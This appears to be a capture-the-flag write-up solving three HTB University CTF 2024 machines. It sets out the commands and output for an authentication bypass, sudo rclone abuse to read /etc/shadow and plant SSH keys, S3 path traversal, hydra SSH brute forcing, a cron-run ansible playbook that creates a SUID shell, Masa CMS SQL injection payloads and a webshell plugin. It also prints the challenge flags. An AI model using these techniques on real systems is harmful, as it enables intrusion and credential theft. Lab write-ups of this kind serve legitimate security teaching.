Post

HTB University CTF 2024 – Apolo, Clouded, Freedom

Write-ups for all the fullpwn challenges from HTB University CTF 2024.

HTB University CTF 2024 – Apolo, Clouded, Freedom

Apolo


Overview

Apolo is a very easy Linux machine from the fullpwn category. The webserver is hosting a vulnerable version of Flowise, which has a known CVE for authentication bypass due to improper URL validation. Once we gain access to Flowise, we discover the credentials to the user. For root, we can run rclone with sudo permissions, which allows us to upload our own SSH key to root to get a shell.

Recon

nmap

nmap finds two open ports – SSH (TCP 22) and HTTP (TCP 80).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.94SVN scan initiated Sat Dec 14 13:33:20 2024 as: nmap -p 22,80 -sSCV -vv -oN apolo.nmap 10.129.245.149
Nmap scan report for 10.129.245.149
Host is up, received reset ttl 63 (0.016s latency).
Scanned at 2024-12-14 13:33:33 +08 for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://apolo.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 14 13:33:40 2024 -- 1 IP address (1 host up) scanned in 20.04 seconds

There is a redirect to http://apolo.htb on the webserver, so I’ll add this to my host file.

1
$ echo '10.129.245.149 apolo.htb | sudo tee -a /etc/hosts

HTTP (TCP 80)

The server is hosting a static website.

apolo homepage

On the “Sentinel” page, there is a link to http://ai.apolo.htb which belongs to a different subdomain. I’ll add ai.apolo.htb to my host file.

Shell as lewis

The application hosted on ai.apolo.htb is Flowise. Flowise is a low code platform for building LLM workflows using drag and drop UI.

We need a valid login to use Flowise. A quick search online will tell us that Flowise does not provide any default credentials. Injection is also not likely with modern apps like this one, so a publicly available exploit is more likely.

This brings us to CVE-2024-31621, which is an authentication bypass due to improper URL validation that affects Flowise <= 1.6.5.

We confirm that the Flowise instance is vulnerable to this CVE.

Confirm CVE-2024-31621

I’ll create a match and replace rule in Burp so that all my proxied traffic will have the auth bypass.

burp match and replace

Then, we find a set of credentials from the “Credentials” tab. This gives us a valid SSH login as the user.

flowise credentials

User: HTB{llm_ex9l01t_4_RC3}

Shell as root

lewis is able to run rclone with sudo privileges on the box.

1
2
3
4
5
6
lewis@apolo:~$ sudo -l
Matching Defaults entries for lewis on apolo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lewis may run the following commands on apolo:
    (ALL : ALL) NOPASSWD: /usr/bin/rclone

rclone is usually used for managing and syncing files from a remote server. Since we can run rclone with sudo, we have control over the local file system. We can confirm this by trying to read the /etc/shadow file with rclone.

1
lewis@apolo:~$ sudo /usr/bin/rclone cat /etc/shadow

To get a shell as root, I’ll upload my own key to /root.ssh/authorized_keys. Before uploading the key, we’ll need to create the .ssh directory in /root as it doesn’t exists yet on the box.

1
lewis@apolo:~$ sudo /usr/bin/rclone mkdir /root/.ssh

Generate the SSH key pair.

1
$ ssh-keygen -t rsa 1024 -f root

Copy our public key to /root/.ssh

1
2
lewis@apolo:~$ vi authorized_keys 
lewis@apolo:~$ sudo rclone copy authorized_keys /root/.ssh

SSH as root.

1
$ ssh -i root root@10.129.245.149

Root: HTB{cl0n3_rc3_f1l3}


Clouded


Overview

Clouded is an easy difficulty Linux machine from the fullpwn category. Clouded is about exploiting an S3 bucket that has unauthenticated access, but the application implements some filtering to prevent accessing the root bucket. We’ll bypass this using a path traversal, and discover a sqlite3 database file. We’ll crack the hashes from the database file, generate our own wordlist, and perform a brute force attack to get a valid SSH login as user. For root, we’ll abuse a cron that’s running ansible to execute our own playbook.

Recon

nmap

nmap finds two open ports – SSH (TCP 22) and HTTP (TCP 80).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.94SVN scan initiated Sat Dec 14 16:09:32 2024 as: nmap -p 22,80 -sSCV -vv -oN clouded.nmap 10.129.245.178
Nmap scan report for 10.129.245.178
Host is up, received echo-reply ttl 63 (0.015s latency).
Scanned at 2024-12-14 16:09:45 +08 for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://clouded.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 14 16:09:52 2024 -- 1 IP address (1 host up) scanned in 20.13 seconds

There is a redirect to http://clouded.htb on the webserver, so I’ll add this to my host file.

1
$ echo '10.129.245.178 clouded.htb | sudo tee -a /etc/hosts

HTTP (TCP 80)

The website only has a feature for uploading files. If we upload different file formats, it throws us an error.

file upload error

The file upload feature is being handled by a Lambda function When the file is successfully uploaded, it gives us the URL to download it.

file upload success

The URL to the file download is from another domain, local.clouded.htb so I’ll add this to my host file.

The thing that stands out immediately is the various Amazon metadata headers. Since local.clouded.htb is just for uploading and downloading files, this already hints at us that it is an S3 bucket.

aws metadata headers

S3 is an object storage service from AWS. In S3, buckets are used to contain different objects. An object is the data that we want to store.

The first thing that we should check for is if the bucket is publicly accessible. Otherwise, we would need to find a way to leak AWS credentials in order to gain access. If we are able to get able to get a listing of the root bucket, then we have access to all the objects.

If we try to access the /uploads bucket we get an “Access Denied” However, if we append a /. to the path, we see that we get a different response, so it is doing some filtering in the background.

From here, I went into a rabbit hole trying to see if I can get access from the AWS CLI instead of from the web. But trying to list the uploads bucket would still give us an error.

I read through their documentation and eventually found a workaround with aws s3api get-object. The get-object command lets us specify a key to retrieve from the bucket. We can test this by using a known filename that we’ve uploaded previously, and it would retrieve the file.

I was able to perform a path traversal through the key parameter and get a listing of the uploads bucket.

1
2
3
4
5
6
7
8
9
$ aws s3api get-object --bucket "uploads" --endpoint-url http://local.clouded.htb --key "." getUploadsBucket.xml
{
    "AcceptRanges": "bytes",
    "LastModified": "2024-12-14T18:05:27+00:00",
    "ContentLength": 16832,
    "ContentLanguage": "en-US",
    "ContentType": "application/xml; charset=utf-8",
    "Metadata": {}
}

These are all the files we uploaded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ cat getUploadsBucket.xml | xq
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
  <Name>uploads</Name>
  <MaxKeys>1000</MaxKeys>
  <IsTruncated>false</IsTruncated>
  <Contents>
    <Key>file_1krePBkV0k.png</Key>
    <LastModified>2024-12-14T18:05:27.000Z</LastModified>
    <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
    <Size>0</Size>
    <StorageClass>STANDARD</StorageClass>
    <Owner>
      <ID>75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a</ID>
      <DisplayName>webfile</DisplayName>
    </Owner>
  </Contents>
...[SNIP]...
</ListBucketResult>

I’ll traverse to the root bucket and discover another bucket, clouded-internal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ aws s3api get-object --bucket "uploads" --endpoint-url http://local.clouded.htb --key "../." getRootBucket.xml
$ cat getRootBucket.xml | xq   
<ListAllMyBucketsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01">
  <Owner>
    <ID>bcaf1ffd86f41161ca5fb16fd081034f</ID>
    <DisplayName>webfile</DisplayName>
  </Owner>
  <Buckets>
    <Bucket>
      <Name>uploads</Name>
      <CreationDate>2024-12-14T17:48:13.000Z</CreationDate>
    </Bucket>
    <Bucket>
      <Name>clouded-internal</Name>
      <CreationDate>2024-12-14T17:48:15.000Z</CreationDate>
    </Bucket>
  </Buckets>
</ListAllMyBucketsResult>

There is a database backup file in the clouded-internal bucket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ aws s3api get-object --bucket "uploads" --endpoint-url http://local.clouded.htb --key "../clouded-internal" clouded-internal.xml
$ cat clouded-internal.xml | xq 
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
  <Name>clouded-internal</Name>
  <MaxKeys>1000</MaxKeys>
  <IsTruncated>false</IsTruncated>
  <Contents>
    <Key>backup.db</Key>
    <LastModified>2024-12-14T17:48:18.000Z</LastModified>
    <ETag>"6f2520b0477e944aa41e759a0eed2157"</ETag>
    <Size>16384</Size>
    <StorageClass>STANDARD</StorageClass>
    <Owner>
      <ID>75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a</ID>
      <DisplayName>webfile</DisplayName>
    </Owner>
  </Contents>
</ListBucketResult>

backup.db is a sqlite3 database. It only contains one table – frontier, which stores user information and password hashes in MD5. All the hashes in the table can be cracked.

Now that we have all the plaintext passwords, we want to try to login with these credentials. There isn’t any other way of logging in through the web application, so our only option is to brute force SSH.

I’ll build a wordlist using the patterns first_name, last_name, first_name.last_name in regular and lowercasing.

1
2
3
4
5
6
$ awk -F '|' '{print tolower($1) ":" $NF}' creds.txt > lowercase_fname.txt
$ awk -F '|' '{print tolower($2) ":" $NF}' creds.txt > lowercase_lname.txt
$ awk -F '|' '{print tolower($1)"."tolower($2) ":" $NF}' creds.txt > lowercase_fname_lname.txt
$ awk -F '|' '{print tolower($2)"."tolower($1) ":" $NF}' creds.txt > lowercase_lname_fname.txt
$ awk -F '|' '{print tolower($1)"."tolower($2) ":" $NF}' creds.txt > fname_lname.txt
$ awk -F '|' '{print tolower($2)"."tolower($1) ":" $NF}' creds.txt > lname_fname.txt

Then, I’ll use hydra to brute force SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ hydra -I -V -C credential_list.txt 10.129.244.189 ssh -t 4                                                                                                              11:23:05 [18/903]
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws a
nd ethics anyway).                                                                            
                                                                                              
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-15 11:22:41          
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 50 login tries, ~13 tries per task       
[DATA] attacking ssh://10.129.244.189:22/                                                     
[ATTEMPT] target 10.129.244.189 - login "drax" - pass "jonathan" - 1 of 50 [child 0] (0/0)
[ATTEMPT] target 10.129.244.189 - login "nagato" - pass "alicia" - 33 of 50 [child 3] (0/0)
[ATTEMPT] target 10.129.244.189 - login "verin" - pass "nicholas" - 34 of 50 [child 2] (0/0)
[ATTEMPT] target 10.129.244.189 - login "ashcroft" - pass "flowers" - 35 of 50 [child 1] (0/0) 
...[SNIP]...
[22][ssh] host: 10.129.244.189   login: nagato   password: alicia
...[SNIP]...

We get a hit on nagato:alicia ! This gives us a valid SSH login on the box as the user.

User: HTB{L@MBD@_5AY5_B@@}

Shell as root

Enumeration

nagato is the only user on the box.

1
2
3
nagato@clouded:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
nagato:x:1000:1000::/home/nagato:/bin/bash

User does not have sudo permissions.

1
2
3
nagato@clouded:~$ sudo -l
[sudo] password for nagato: 
Sorry, user nagato may not run sudo on localhost.

We have two interesting directories in /opt, and we have read access to infra-setup.

1
2
3
4
5
6
nagato@clouded:~$ ls -lah /opt
total 16K
drwxr-xr-x  4 root root      4.0K Dec  2 06:44 .
drwxr-xr-x 19 root root      4.0K Dec  2 06:44 ..
drwx--x--x  4 root root      4.0K Dec  2 06:44 containerd
drwxrwxr-x  2 root frontiers 4.0K Dec 18 11:34 infra-setup
1
2
nagato@clouded:~$ id
uid=1000(nagato) gid=1000(nagato) groups=1000(nagato),1001(frontiers)

The only file inside is checkup.yml

1
2
3
4
5
6
7
8
9
- name: Check Stability of Clouded File Sharing Service
  hosts: localhost
  gather_facts: false

  tasks:
    - name: Check if the Clouded File Sharing service is running and if the AWS connection is stable
      debug:
        msg: "Checking if Clouded File Sharing service is running."
    # NOTE to Yuki - Add checks for verifying the above tasks

At this point, I also ran linpeas on the box but didn’t find anything interesting. I uploaded pspy64 to the box to monitor for running processes, and eventually we’ll see there’s a cronjob that’s running ansible.

pspy64 cron

Note the wildcard character in /opt/infra-setup/*.yml, this means that every YAML file in the directory will be executed by ansible-parallel as root. I’ll place my own YAML file in the directory to execute a command via ansible with the shell module. Then, I’ll wait for the cronjob to execute again and /bin/bash will be copied to /tmp/benkyou.

1
2
3
4
5
- name: Check Stability of Clouded File Sharing Service
  hosts: localhost
  tasks:
    - name: Check if the Clouded File Sharing service is running and if the AWS connection is stable
      shell: cp /bin/bash /tmp/benkyou; chmod 4755 /tmp/benkyou

As the copy of bash has the SUID bit set, we can run /tmp/benkyou with the -p flag to not drop privileges. This gives us a shell as root on the box.

1
2
3
4
5
nagato@clouded:/tmp$ ./benkyou -p
benkyou-5.0# whoami
root
benkyou-5.0# cat /root/root.txt
HTB{H@ZY_71ME5_AH3AD}

Root: HTB{H@ZY_71ME5_AH3AD}


Freedom


Overview

Freedom is a medium difficulty Windows box from the fullpwn category. It uses a vulnerable version of Masa CMS which allows us to perform an error-based SQL injection to steal the administrator’s password reset token to gain access to the Masa CMS dashboard. Then, we install a malicious plugin to gain a webshell. As Masa CMS was running inside of WSL as root, we are able to read the user and root flags through the mounted C drive.

Recon

nmap

nmap finds several open ports. Looking at the services available, this is likely a Windows DC. There is a redirect to http://freedom.htb on the webserver, so I’ll add this to my host file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-14 18:36 +08
Nmap scan report for 10.129.244.128
Host is up (0.017s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://freedom.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-robots.txt: 6 disallowed entries 
|_/admin/ /core/ /modules/ /config/ /themes/ /plugins/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -14m21s
| smb2-time: 
|   date: 2024-12-14T10:22:05
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.27 seconds

SMB (TCP 445)

Quick SMB check shows us that SMB null sessions are disabled.

1
2
3
4
5
6
7
8
$ smbclient -N -L \\10.129.231.208
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.231.208 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

HTTP (TCP 80)

The website is a blog created using a CMS.

freedom home page

The server response headers discloses the CMS being used, which is Masa CMS 7.4.5

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -I http://freedom.htb        
HTTP/1.1 200 
Date: Sun, 15 Dec 2024 12:36:34 GMT
Server: Apache/2.4.52 (Ubuntu)
Strict-Transport-Security: max-age=1200
Generator: Masa CMS 7.4.5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 15947
Set-Cookie: MXP_TRACKINGID=67104978-645B-4EB3-B21C421514995ECD;Path=/;Expires=Mon, 14-Dec-2054 20:28:04 UTC;HttpOnly
Set-Cookie: mobileFormat=false;Path=/;Expires=Mon, 14-Dec-2054 20:28:04 UTC;HttpOnly
SET-COOKIE: cfid=1f4ac836-b9f1-43c8-8264-a357c004cd0b;expires=Tue, 15-Dec-2054 12:36:34 GMT;path=/;HttpOnly;
SET-COOKIE: cftoken=0;expires=Tue, 15-Dec-2054 12:36:34 GMT;path=/;HttpOnly;

In the background, I’ll run a directory fuzzer while do more enumeration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://freedom.htb/FUZZ                                      

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://freedom.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 17ms]
plugins                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 17ms]
modules                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 17ms]
themes                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 20ms]
sites                   [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 15ms]
config                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 17ms]
core                    [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 15ms]
WEB-INF                 [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 15ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 16ms]
                        [Status: 200, Size: 15947, Words: 759, Lines: 503, Duration: 193ms]
COPYING                 [Status: 200, Size: 4317, Words: 715, Lines: 73, Duration: 235ms]
resource_bundles        [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 17ms]

The ffuf scan just returns expected directories from Masa CMS installation.

A quick search online tells us that Masa CMS uses the default credentials admin:admin, but trying it against this application did not work.

masa cms default creds

SQL Injection in Masa CMS

My next step was to see if there were any recent public exploits for Masa CMS, and if we look at their GitHub releases page, there are mentions of patched critical vulnerabilities.

This led me to this excellent article by ProjectDiscovery that documented how they used code patterns to discover an error based SQL injection Masa CMS. Highly recommend reading through the entirety of it.

For solving the box, we can first validate that our version of Masa CMS is vulnerable by triggering the error. I’ll intercept the request to make a search query on the website, and this will give me the request to the affected API. Following the article, we’ll have to make a few changes to the request body:

  • Change object to displayregion
  • Add the prefix x%5c to thiscontentid to escape the single quote in lucee
  • Add the parameter previewid and set it to anything

When the error is triggered, we also get the entire query that was ran. trigger sql error

Then, I’ll use sqlmap to dump the database.

For some reason, I wasn’t able to get the --prefix="x\ " option working consistently with sqlmap. I got it working by just including the prefix in the original request body. Note that sqlmap will complain about this as the initial request will already contain the error message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sqlmap -r sqli.req -p contenthistid--dbms=mysql -T E --level 5 --risk 3 --batch --proxy=http://localhost:8080 
...[SNIP]...
POST parameter 'contenthistid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1970 HTTP(s) requests:
---
Parameter: contenthistid (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: object=displayregion&objectid=&instanceid=27473464-FD31-4567-81BF9C0CFA01196A&render=server&async=false&objecticonclass=mi-cog&display=search&csrf_token=7DAAB1D4A71BBB5A0237588399F9BBC7&csrf_token_expires=241218180125216&keywords=test&newsearch=true&nocache=1&searchsectionid=&siteid=default&contentid=00000000000000000000000000000000001&contenthistid=x\' AND GTID_SUBSET(CONCAT(0x71706a6b71,(SELECT (ELT(4845=4845,1))),0x716a717171),4845)-- PMtS&previewid=x

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: object=displayregion&objectid=&instanceid=27473464-FD31-4567-81BF9C0CFA01196A&render=server&async=false&objecticonclass=mi-cog&display=search&csrf_token=7DAAB1D4A71BBB5A0237588399F9BBC7&csrf_token_expires=241218180125216&keywords=test&newsearch=true&nocache=1&searchsectionid=&siteid=default&contentid=00000000000000000000000000000000001&contenthistid=x\' AND (SELECT 8943 FROM (SELECT(SLEEP(5)))xmsE)-- SOrr&previewid=x
---
[23:51:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.6

Enumerating the Masa CMS database

I couldn’t find documentation for the schema used by Masa CMS online, so I’ll have to enumerate them manually. Then, I’ll first extract the tusers table which contains all the users and password hashes in Masa CMS.

1
$ sqlmap -r sqli.req -p contenthistid--dbms=mysql --batch --proxy=http://localhost:8080 --dump -D dbMasaCMS -T tusers

This gives us the admin account’s email.

1
2
3
SiteID,UserID,remoteID,photoFileID,LastUpdateByID,S2,Ext,Perm,tags,Email,Fname,Lname,notes,IMName,Type,Company,Website,Admin,created,subType,tablist,JobTitle,UserName,isPublic,password,GroupName,IMService,LastLogin,Subscribe,interests,LastUpdate,InActive,ContactForm,keepPrivate,mobilePhone,LastUpdateBy,description,PasswordCreated
...[SNIP]...
default,75296552-E0A8-4539-B1A46C806D767072,NULL,NULL,22FC551F-FABE-EA01-C6EDD0885DDC1682,1,NULL,0,NULL,admin@freedom.htb,Admin,User,NULL,NULL,2,NULL,NULL,NULL,2024-11-11 08:46:23,Default,NULL,NULL,admin,0,$2a$10$xHRN1/9qFGtMAPkwQeMLYes2ysff2K970UTQDneDwJBRqUP7X8g3q,NULL,NULL,2024-12-02 11:25:13,0,NULL,2024-11-11 08:46:23,0,NULL,0,NULL,System,NULL,2024-11-11 16:57:59

The admin’s password hash couldn’t be cracked, so we’ll have to use another approach.

Resetting the administrator’s password to get a valid login

Based on the author’s post, we can use the reset password feature to obtain a temporary reset token and change the admin’s password.

Again, couldn’t find any info on which table the token was being stored to, but since I know that the token should be stored together with the UserId, I’ll search for tables that contain the UserId column.

1
$ sqlmap -r sqli.req --dbms=mysql -D dbMasaCMS -C 'UserId'

This gives us several results to look through for the token, but since I am the only one that is resetting the password for the admin, the table should only have one entry which contains the UserId that matches the admin’s account (75296552-E0A8-4539-B1A46C806D767072).

token in tredirect The password reset tokens are stored in the tredirects table.

This gives us http://freedom.htb/admin/?muraAction=cEditProfile.edit&siteID=default&returnID=4D01FA88-6595-4220-87A8EE1828411BE1&returnUserID=75296552-E0A8-4539-B1A46C806D767072 I’ll use the link to change the admin’s password and login to the admin dashboard of Masa CMS.

admin password reset

Uploading a Masa CMS plugin to get code execution

Now that we’re the admin, we can install a malicious plugin to achieve code execution. A Masa CMS plugin a zip file containing ColdFusion code, and just zipping the .cfm file wouldn’t work as it expects a specific format.

error unexpected plugin format

I’ll follow the guide to writing your own MasaCMS plugin from the official docs and create a malicious plugin with this webshell.

To create the plugin, you can include all the files as is from the guide, and just include webshell.cfm at the root directory.

1
2
3
$ ls
LICENSE.txt  index.cfm  plugin  webshell.cfm
$ zip -r test.zip .

Install the plugin and we can access the webshell at http://freedom.htb/plugins/MyFirstPlugin/webshell.cfm

webshell cfm

Root shell in WSL

The first thing that stood out to me was the current user was root. But remember, the box that we are dealing with here is a Windows machine, and the root user is from Linux.

The first that stood out was when running whoami, the current user is root. But remember, we are dealing with a Windows machine, and the root user is not found on Windows, it’s from Linux. So, we must be in some type of container or WSL.

I’ll get a reverse shell to get an interactive session. The current directory is tomcat.

1
2
root@DC1:/opt/lucee/tomcat# pwd
/opt/lucee/tomcat

We have another user on the Linux instance, but none of the user or root directories have anything.

1
2
3
root@DC1:/opt/lucee/tomcat# cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
justin:x:1000:1000:,,,:/home/justin:/bin/bash

If you read the /etc/hosts file, you’ll see that the file was created by WSL, which confirms that we are inside of WSL. So how can we exploit this?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@DC1:/opt/lucee/tomcat# cat /etc/hosts
# This file is automatically generated by WSL based on the Windows hosts file:
# %WINDIR%\System32\drivers\etc\hosts. Modifications to this file will be overwritten.
127.0.0.1       localhost
127.0.1.1       DC1.freedom.htb DC1
10.129.231.208  freedom.htb
10.129.231.208  freedom.htb
10.129.231.208  freedom.htb
10.129.231.208  freedom.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Since we are running as root inside of WSL, we have administrative privileges on the Windows machine, and have full control over the file system. WSL mounts your Windows system drive under /mnt/c. Finally, I’ll read the flags directly from the Windows machine.

User flag

1
2
root@DC1:/opt/lucee/tomcat# cat /mnt/c/Users/j.bret/Desktop/user.txt 
HTB{c4n_y0u_pl34as3_cr4ck?}

Root flag

1
2
root@DC1:/opt/lucee/tomcat# cat /mnt/c/Users/Administrator/Desktop/root.txt 
